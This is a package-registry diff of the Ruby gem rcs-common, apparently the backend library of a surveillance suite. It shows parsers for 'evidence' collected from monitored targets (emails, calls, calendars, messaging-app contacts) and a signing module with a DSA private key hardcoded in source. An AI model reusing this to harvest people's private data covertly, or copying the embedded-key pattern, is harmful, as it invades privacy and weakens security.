rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,404 @@
1
+ require 'stringio'
2
+ require_relative 'trace'
3
+ require_relative 'evidence/common'
4
+
5
+ require 'rcs-common/trace'
6
+
7
+ class StringIO
8
+ def read_dword
9
+ self.read(4).unpack('L').shift
10
+ end
11
+ end
12
+
13
+ module RCS
14
+
15
+ module Serialization
16
+ PREFIX_MASK = 0x00FFFFFF
17
+
18
+ def self.prefix(type, size)
19
+ [(type << 0x18) | size].pack('L')
20
+ end
21
+
22
+ def self.decode_prefix(str)
23
+ prefix = str.unpack('L').shift
24
+ return (prefix & ~PREFIX_MASK) >> 0x18, prefix & PREFIX_MASK
25
+ end
26
+ end
27
+
28
+ class MAPISerializer
29
+ include RCS::Tracer
30
+
31
+ attr_reader :fields, :size, :delivery_time, :flags
32
+
33
+ TYPES = {0x03 => {field: :from, action: :unserialize_string},
34
+ 0x04 => {field: :rcpt, action: :unserialize_string},
35
+ 0x05 => {field: :cc, action: :unserialize_string},
36
+ 0x06 => {field: :bcc, action: :unserialize_string},
37
+ 0x07 => {field: :subject, action: :unserialize_string},
38
+ 0x80 => {field: :mime_body, action: :unserialize_blob},
39
+ 0x84 => {field: :text_body, action: :unserialize_blob}
40
+ }
41
+
42
+ def initialize
43
+ @fields = {}
44
+ end
45
+
46
+ def unserialize(stream)
47
+
48
+ # HEADER
49
+ header_begin = stream.pos
50
+
51
+ tot_size = stream.read_dword
52
+ @version = stream.read_dword
53
+ @status = stream.read_dword
54
+ @flags = stream.read_dword
55
+ @size = stream.read_dword
56
+ low, high = stream.read(8).unpack 'V2'
57
+ @delivery_time = Time.from_filetime high, low
58
+ @n_attachments = stream.read_dword
59
+
60
+ # BODY
61
+ header_length = stream.pos - header_begin
62
+ content = stream.read(tot_size - header_length)
63
+ until content.empty?
64
+ prefix = content.slice!(0, 4)
65
+ type, size = Serialization.decode_prefix prefix
66
+ str = content.slice!(0, size)
67
+ selector = TYPES[type]
68
+ unless selector.nil?
69
+ @fields[selector[:field]] = self.send(selector[:action], str) if TYPES.has_key? type
70
+ end
71
+ end
72
+
73
+ self
74
+ end
75
+
76
+ def unserialize_string(str)
77
+ str.utf16le_to_utf8
78
+ end
79
+
80
+ def unserialize_blob(str)
81
+ str
82
+ end
83
+ end
84
+
85
+ class CallListSerializer
86
+ include RCS::Tracer
87
+
88
+ TYPES = {0x01 => :name, 0x02 => :type, 0x04 => :note, 0x08 => :number}
89
+ INCOMING = 0x00
90
+ OUTGOING = 0x01
91
+
92
+ attr_reader :start_time, :end_time, :fields, :properties
93
+
94
+ def initialize
95
+ @fields = {}
96
+ @start_time = nil
97
+ @end_time = nil
98
+ @properties = []
99
+ end
100
+
101
+ def unserialize(stream)
102
+
103
+ # HEADER
104
+ header_begin = stream.pos
105
+
106
+ tot_size = stream.read(4).unpack('L').shift
107
+ version = stream.read(4).unpack('L').shift
108
+
109
+ low, high = stream.read(8).unpack 'V2'
110
+ @start_time = Time.from_filetime high, low
111
+ low, high = stream.read(8).unpack 'V2'
112
+ @end_time = Time.from_filetime high, low
113
+
114
+ props = stream.read(4).unpack('L').shift
115
+ if props & OUTGOING == 1
116
+ @properties << :outgoing
117
+ else
118
+ @properties << :incoming
119
+ end
120
+
121
+ # BODY
122
+ header_length = stream.pos - header_begin
123
+ content = stream.read(tot_size - header_length)
124
+
125
+ until content.empty?
126
+ prefix = content.slice!(0, 4)
127
+ type, size = Serialization.decode_prefix prefix
128
+ @fields[TYPES[type]] = content.slice!(0, size).utf16le_to_utf8
129
+ end
130
+
131
+ self
132
+ end
133
+ end
134
+
135
+ class CalendarSerializer
136
+ include RCS::Tracer
137
+
138
+ POOM_V1_0_PROTO = 0x01000000
139
+ FLAG_RECUR = 0x00000008
140
+
141
+ attr_reader :start_date, :end_date, :fields
142
+
143
+ CALENDAR_TYPES = { 0x01 => :subject,
144
+ 0x02 => :categories,
145
+ 0x04 => :body,
146
+ 0x08 => :recipients,
147
+ 0x10 => :location}
148
+
149
+ def initialize
150
+ @fields = {}
151
+ @start_date = nil
152
+ @end_date = nil
153
+ end
154
+
155
+ def unserialize(stream)
156
+ header_begin = stream.pos
157
+
158
+ tot_size = stream.read(4).unpack('L').shift
159
+ version = stream.read(4).unpack('L').shift
160
+ oid = stream.read(4).unpack('L').shift
161
+
162
+ raise EvidenceDeserializeError.new("Invalid version") unless version == POOM_V1_0_PROTO
163
+
164
+ # BODY
165
+ header_length = stream.pos - header_begin
166
+ content = stream.read(tot_size - header_length)
167
+ until content.empty?
168
+ @flags = content.slice!(0, 4).unpack('L').shift
169
+
170
+ ft_low = content.slice!(0, 4).unpack('L').shift
171
+ ft_high = content.slice!(0, 4).unpack('L').shift
172
+ @start_date = Time.from_filetime(ft_high, ft_low)
173
+
174
+ ft_low = content.slice!(0, 4).unpack('L').shift
175
+ ft_high = content.slice!(0, 4).unpack('L').shift
176
+ @end_date = Time.from_filetime(ft_high, ft_low)
177
+
178
+ @sensitivity = content.slice!(0, 4).unpack('L').shift
179
+ @busy = content.slice!(0, 4).unpack('L').shift
180
+ @duration = content.slice!(0, 4).unpack('L').shift
181
+ @status = content.slice!(0, 4).unpack('L').shift
182
+
183
+ if @flags == FLAG_RECUR
184
+ return self if content.bytesize < 28 + 16 # struct _TaskRecur
185
+
186
+ type, interval, month_of_year, day_of_month, day_of_week_mask, instance, occurrences = *content.slice!(0, 28).unpack("L*")
187
+ ft_low = content.slice!(0, 4).unpack('L').shift
188
+ ft_high = content.slice!(0, 4).unpack('L').shift
189
+ @pattern_start_date = Time.from_filetime(ft_high, ft_low)
190
+
191
+ ft_low = content.slice!(0, 4).unpack('L').shift
192
+ ft_high = content.slice!(0, 4).unpack('L').shift
193
+ @pattern_end_date = Time.from_filetime(ft_high, ft_low)
194
+ end
195
+
196
+ until content.empty? do
197
+ prefix = content.slice!(0, 4)
198
+ type, size = Serialization.decode_prefix prefix
199
+ @fields[CALENDAR_TYPES[type]] = content.slice!(0, size).utf16le_to_utf8 if CALENDAR_TYPES.has_key? type
200
+ end
201
+ end
202
+
203
+ self
204
+ end
205
+
206
+ end #CalendarSerializer
207
+
208
+ class AddressBookSerializer
209
+ include RCS::Tracer
210
+
211
+ attr_reader :name, :contact, :info, :type, :program, :handles
212
+
213
+ POOM_V1_0_PROTO = 0x01000000
214
+ POOM_V2_0_PROTO = 0x01000001
215
+
216
+ LOCAL_CONTACT = 0x80000000
217
+
218
+ ADDRESSBOOK_TYPES = { 0x1 => :first_name,
219
+ 0x2 => :last_name,
220
+ 0x3 => :company,
221
+ 0x4 => :business_fax_number,
222
+ 0x5 => :department,
223
+ 0x6 => :email_1,
224
+ 0x7 => :mobile_phone_number,
225
+ 0x8 => :office_location,
226
+ 0x9 => :pager_number,
227
+ 0xA => :business_phone_number,
228
+ 0xB => :job_title,
229
+ 0xC => :home_phone_number,
230
+ 0xD => :email_2,
231
+ 0xE => :spouse,
232
+ 0xF => :email_3,
233
+ 0x10 => :home_2_phone_number,
234
+ 0x11 => :home_fax_number,
235
+ 0x12 => :car_phone_number,
236
+ 0x13 => :assistant_name,
237
+ 0x14 => :assistant_phone_number,
238
+ 0x15 => :children,
239
+ 0x16 => :categories,
240
+ 0x17 => :web_page,
241
+ 0x18 => :business_2_phone_number,
242
+ 0x19 => :radio_phone_number,
243
+ 0x1A => :file_as,
244
+ 0x1B => :yomi_company_name,
245
+ 0x1C => :yomi_first_name,
246
+ 0x1D => :yomi_last_name,
247
+ 0x1E => :title,
248
+ 0x1F => :middle_name,
249
+ 0x20 => :suffix,
250
+ 0x21 => :home_address_street,
251
+ 0x22 => :home_address_city,
252
+ 0x23 => :home_address_state,
253
+ 0x24 => :home_address_postal_code,
254
+ 0x25 => :home_address_country,
255
+ 0x26 => :other_address_street,
256
+ 0x27 => :other_address_city,
257
+ 0x28 => :other_address_postal_code,
258
+ 0x29 => :other_address_country,
259
+ 0x2A => :business_address_street,
260
+ 0x2B => :business_address_city,
261
+ 0x2C => :business_address_state,
262
+ 0x2D => :business_address_postal_code,
263
+ 0x2E => :business_address_country,
264
+ 0x2F => :other_address_state,
265
+ 0x30 => :body,
266
+ 0x31 => :birthday,
267
+ 0x32 => :anniversary,
268
+ 0x33 => :screen_name,
269
+ 0x34 => :phone_numbers,
270
+ 0x35 => :address,
271
+ 0x36 => :notes,
272
+ 0x37 => :unknown,
273
+ 0x38 => :facebook_page,
274
+ 0x40 => :handle}
275
+
276
+ ADDRESSBOOK_PROGRAM = {
277
+ 0x01 => :outlook,
278
+ 0x02 => :skype,
279
+ 0x03 => :facebook,
280
+ 0x04 => :twitter,
281
+ 0x05 => :gmail,
282
+ 0x06 => :bbm,
283
+ 0x07 => :whatsapp,
284
+ 0x08 => :phone,
285
+ 0x09 => :mail,
286
+ 0x0a => :linkedin,
287
+ 0x0b => :viber,
288
+ 0x0c => :wechat,
289
+ 0x0d => :line,
290
+ 0x0e => :telegram,
291
+ 0x0f => :yahoo,
292
+ 0x10 => :messages,
293
+ 0x11 => :contacts
294
+ }
295
+
296
+ TYPE_FLAGS = {
297
+ twitter: {0x00 => :friend, 0x01 => :follower}
298
+ }
299
+
300
+ def initialize
301
+ @fields = {}
302
+ @handles = []
303
+ @poom_strings = {}
304
+ ADDRESSBOOK_TYPES.each_pair do |k, v|
305
+ @poom_strings[v] = v.to_s.gsub(/_/, " ").capitalize.encode('UTF-8')
306
+ end
307
+ @poom_strings[:unknown] = nil # when unknown, field name is given by agent
308
+ end
309
+
310
+ def serialize(fields)
311
+ stream = StringIO.new
312
+ fields.each_pair do |type, str|
313
+ utf16le_str = str.to_utf16le_binary_null
314
+ stream.write Serialization.prefix(ADDRESSBOOK_TYPES.invert[type], utf16le_str.bytesize)
315
+ stream.write utf16le_str
316
+ end
317
+ header = [stream.pos + 20, POOM_V2_0_PROTO, 0].pack('L*')
318
+ header += [ADDRESSBOOK_PROGRAM.invert[:contacts], [0, LOCAL_CONTACT].sample].pack('L*')
319
+
320
+ return header + stream.string
321
+ end
322
+
323
+ def unserialize(stream)
324
+
325
+ header_begin = stream.pos
326
+
327
+ # discard header
328
+ tot_size = stream.read(4).unpack("L").shift
329
+ version = stream.read(4).unpack("L").shift
330
+ oid = stream.read(4).unpack("L").shift
331
+
332
+ if version != POOM_V1_0_PROTO and version != POOM_V2_0_PROTO
333
+ raise EvidenceDeserializeError.new("Invalid addressbook version (#{version})")
334
+ end
335
+
336
+ case version
337
+ when POOM_V1_0_PROTO
338
+ program = 0
339
+ flags = 0
340
+ when POOM_V2_0_PROTO
341
+ program = stream.read(4).unpack("L").shift
342
+ flags = stream.read(4).unpack("L").shift
343
+ end
344
+
345
+ # initialize the values to array
346
+ @fields = Hash.new {|h,k| h[k] = []}
347
+
348
+ # BODY
349
+ header_length = stream.pos - header_begin
350
+ content = stream.read(tot_size - header_length)
351
+ until content.empty?
352
+ type, size = Serialization.decode_prefix content.slice!(0, 4)
353
+ str = content.slice!(0, size).utf16le_to_utf8
354
+ #trace :debug, "ADDRESSBOOK FIELD #{ADDRESSBOOK_TYPES[type]} = #{str}"
355
+ @fields[ADDRESSBOOK_TYPES[type]] << str if ADDRESSBOOK_TYPES.has_key? type
356
+ end
357
+
358
+ # name
359
+ @name = ""
360
+ @name = @fields[:first_name].first if @fields.has_key? :first_name
361
+ @name += " " + @fields[:last_name].first if @fields.has_key? :last_name
362
+
363
+ @program = ADDRESSBOOK_PROGRAM[program]
364
+ @program ||= :unknown
365
+
366
+ @type = TYPE_FLAGS[@program][flags] if TYPE_FLAGS.has_key? @program
367
+ @type ||= :peer
368
+ @type = :target if (flags & LOCAL_CONTACT != 0)
369
+
370
+ # choose the most significant contact field (the handle)
371
+ @contact = ""
372
+ if @fields.has_key? :handle
373
+ @contact = @fields[:handle].first
374
+ @handles << {type: @program, handle: @fields[:handle].first}
375
+ end
376
+
377
+ #trace :debug, "FIELDS: #{@fields.inspect}"
378
+
379
+ # info
380
+ @info = ""
381
+ omitted_fields = [:first_name, :last_name, :body, :file_as]
382
+ @fields.each_pair do |k, v|
383
+ next if omitted_fields.include? k
384
+ v.each do |entry|
385
+ str = @poom_strings[k]
386
+ add_to_handles(str, entry) if str and entry
387
+ @info += str.nil? ? "" : "#{str}: "
388
+ @info += entry
389
+ @info += "\n"
390
+ end
391
+ end
392
+
393
+ self
394
+ end
395
+
396
+ def add_to_handles(key, value)
397
+ # only take the phones and mails
398
+ return if key['phone'].nil? and key['mail'].nil?
399
+ @handles << {type: 'phone', handle: value} if key['phone']
400
+ @handles << {type: 'mail', handle: value} if key['mail']
401
+ end
402
+
403
+ end # ::PoomSerializer
404
+ end # ::RCS
@@ -0,0 +1,141 @@
1
+ require 'base64'
2
+ require 'openssl'
3
+ require 'json'
4
+
5
+ module RCS
6
+ module Mongoid
7
+ module Signature
8
+ extend ActiveSupport::Concern
9
+
10
+ DSA_PRIV_KEY = <<END
11
+ -----BEGIN DSA PRIVATE KEY-----
12
+ MIIDVgIBAAKCAQEAs/Le9TeFwd6Wp0ZaSwthvKcYmMkewqyx3L+xl7S4EkQOI4ky
13
+ 9n4Yp4LJ2EnIdo6iwj5fLcxTXRPem1uWaPNXT0ILKWr6Eu9yetgKaiK6i+Iy8Rtb
14
+ XA2e/CEh+Hl4zL5UnNLQcxtZ7pYML6Lq7h27OTyXFU4tZsxSH1oSdr0KJE7kHmij
15
+ gLaub5yjjBQF8pcADpWHih06NQ6zj7rKEXH2RLgiE3dZbN29VqP3/edx1XASuoAd
16
+ 6DKzfYH8H9Pp6mMI9s2+kzvLdnubuDdq+rA3aSZC+iHczBUCjbdshLzsyac4et5b
17
+ wjRIKZmA674InCKq2MVZjJPoE1jmoPpINigo2QIhAIn55YqthSk3B044NJSL7pfg
18
+ UwrWAT00RAuKoB849MSRAoIBAGcdWSnhTjRbWV23niaLnDGH+s/v9UGcokGQiTU9
19
+ 4Yy+6fVaFoNqs6s4wfcGaQDQIUDZ67dMU2ARkImLjxAN/DOnopXtwdZQXd9vXoMp
20
+ Qi89lfJ8/elwW4nAY9cWnyl67shv17vyjJZATMvH8/YvyphDJDUh191z3MGu/6O+
21
+ yRuZcJ0aqyvcbGpj0zox9oFLnNltroeB7zExeJ5GFcVrZQ5Tza07LcRBjAbo0Icw
22
+ F6bNVRadrLRywwxE+zym73Vz4x48euoKo95AsevOFQ+osIlDEL1BkPKa9jiEFTHq
23
+ XBleabczfnBYTOIwNWKuUXeboBpjNX5ZPzOu+UvnRr9JLDMCggEBAJhmfz1PDIA5
24
+ TvfUyUT9NkLUpQk5EOvQ4fAQx7ktETA683lEZR+sdL66aEheqEwMRor1DofM/gYO
25
+ WAE+tzusnPZ/yrP6mrLXeWrWbjM0gdcbW2NVR7Vh6s3fziX6UIxpmBeWitqYE4PH
26
+ ue9p6meRhHxR5HB2ws9EldxCN/sgqOvVIAhfbla0WMd1kEkSi9Zoitl43LtP2GhJ
27
+ pb+O4eBoOfdC4c3eYlHgXYAEo5CYytDF+Rv51Mu9BsqPfcPsAGgaAQLugqLYYHRw
28
+ LKzCzBPvkAF1C+zW+Qk+FrZbwhBqiJBSXH7IxM+6OrQxLR+lJuLBSkSap30TFBc7
29
+ g3zksvKZdi0CIEPlMqeN/iQIXzjDP9L8ofSkoo/x7ixyaHHk6CjmoWMm
30
+ -----END DSA PRIVATE KEY-----
31
+ END
32
+
33
+ DSA_PUB_KEY = <<END
34
+ -----BEGIN PUBLIC KEY-----
35
+ MIIDRzCCAjkGByqGSM44BAEwggIsAoIBAQCz8t71N4XB3panRlpLC2G8pxiYyR7C
36
+ rLHcv7GXtLgSRA4jiTL2fhingsnYSch2jqLCPl8tzFNdE96bW5Zo81dPQgspavoS
37
+ 73J62ApqIrqL4jLxG1tcDZ78ISH4eXjMvlSc0tBzG1nulgwvouruHbs5PJcVTi1m
38
+ zFIfWhJ2vQokTuQeaKOAtq5vnKOMFAXylwAOlYeKHTo1DrOPusoRcfZEuCITd1ls
39
+ 3b1Wo/f953HVcBK6gB3oMrN9gfwf0+nqYwj2zb6TO8t2e5u4N2r6sDdpJkL6IdzM
40
+ FQKNt2yEvOzJpzh63lvCNEgpmYDrvgicIqrYxVmMk+gTWOag+kg2KCjZAiEAifnl
41
+ iq2FKTcHTjg0lIvul+BTCtYBPTREC4qgHzj0xJECggEAZx1ZKeFONFtZXbeeJouc
42
+ MYf6z+/1QZyiQZCJNT3hjL7p9VoWg2qzqzjB9wZpANAhQNnrt0xTYBGQiYuPEA38
43
+ M6eile3B1lBd329egylCLz2V8nz96XBbicBj1xafKXruyG/Xu/KMlkBMy8fz9i/K
44
+ mEMkNSHX3XPcwa7/o77JG5lwnRqrK9xsamPTOjH2gUuc2W2uh4HvMTF4nkYVxWtl
45
+ DlPNrTstxEGMBujQhzAXps1VFp2stHLDDET7PKbvdXPjHjx66gqj3kCx684VD6iw
46
+ iUMQvUGQ8pr2OIQVMepcGV5ptzN+cFhM4jA1Yq5Rd5ugGmM1flk/M675S+dGv0ks
47
+ MwOCAQYAAoIBAQCYZn89TwyAOU731MlE/TZC1KUJORDr0OHwEMe5LREwOvN5RGUf
48
+ rHS+umhIXqhMDEaK9Q6HzP4GDlgBPrc7rJz2f8qz+pqy13lq1m4zNIHXG1tjVUe1
49
+ YerN384l+lCMaZgXloramBODx7nvaepnkYR8UeRwdsLPRJXcQjf7IKjr1SAIX25W
50
+ tFjHdZBJEovWaIrZeNy7T9hoSaW/juHgaDn3QuHN3mJR4F2ABKOQmMrQxfkb+dTL
51
+ vQbKj33D7ABoGgEC7oKi2GB0cCyswswT75ABdQvs1vkJPha2W8IQaoiQUlx+yMTP
52
+ ujq0MS0fpSbiwUpEmqd9ExQXO4N85LLymXYt
53
+ -----END PUBLIC KEY-----
54
+ END
55
+
56
+ included do
57
+ cattr_accessor :signature_fields
58
+ self.signature_fields = []
59
+
60
+ cattr_accessor :signature_chained
61
+ self.signature_chained = false
62
+
63
+ cattr_accessor :dsa_priv, :dsa_pub
64
+ self.dsa_priv = OpenSSL::PKey::DSA.new(DSA_PRIV_KEY)
65
+ self.dsa_pub = OpenSSL::PKey::DSA.new(DSA_PUB_KEY)
66
+
67
+ field :signature, type: Hash, default: {}
68
+
69
+ set_callback :create, :before, :set_signature
70
+ set_callback :update, :before, :set_signature
71
+ end
72
+
73
+ def set_signature
74
+ now = Time.now.getutc.to_f
75
+
76
+ # save the version and the fields used to calculate the signature
77
+ # this could help in the future if the signature_fields are changed
78
+ hash = {version: 1,
79
+ fields: signature_fields,
80
+ timestamp: now}
81
+
82
+ #puts "SET: #{signature_fields} => #{concat_values(hash, signature_fields)}"
83
+
84
+ # calculate the digest
85
+ digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, signature_fields))
86
+ # sign the digest
87
+ sig = dsa_priv.syssign(digest)
88
+
89
+ # put the dsa signature in the hash and save it
90
+ hash[:signature] = Base64.strict_encode64(sig)
91
+ self.signature[:integrity] = Base64.strict_encode64(hash.to_json)
92
+ end
93
+
94
+ def check_signature
95
+ # load the serialized signature
96
+ hash = JSON.parse(Base64.decode64(self.signature[:integrity])).with_indifferent_access
97
+
98
+ # extract and remove the dsa signature from the hash
99
+ sig = Base64.decode64(hash.delete(:signature))
100
+
101
+ #puts "CHECK: #{signature_fields} => #{concat_values(hash, hash[:fields])}"
102
+
103
+ # calculate the digest
104
+ digest = OpenSSL::Digest::SHA256.digest(concat_values(hash, hash[:fields]))
105
+ # verify the integrity
106
+ dsa_pub.sysverify(digest, sig)
107
+ rescue Exception => e
108
+ #puts e.message
109
+ #puts e.backtrace.join("\n")
110
+ false
111
+ end
112
+
113
+ def signature_fields
114
+ self.class.signature_fields
115
+ end
116
+
117
+ private
118
+
119
+ def concat_values(hash, keys)
120
+ # always include the id of the document to prevent cloning of document
121
+ # also include the hash itself (with timestamp) to prevent replay attack
122
+ text = self[:_id].to_s + '|' + hash.to_json + '|'
123
+
124
+ # concatenate all the other fields
125
+ keys.each do |key|
126
+ # use json serialization here, since it works for strings, integers, complex arrays or hashes...
127
+ text << self[key].to_json + '|' unless self[key].blank?
128
+ end
129
+
130
+ return text
131
+ end
132
+
133
+ module ClassMethods
134
+ def sign_options(options)
135
+ self.signature_fields = options[:include] if options[:include]
136
+ end
137
+ end
138
+
139
+ end
140
+ end
141
+ end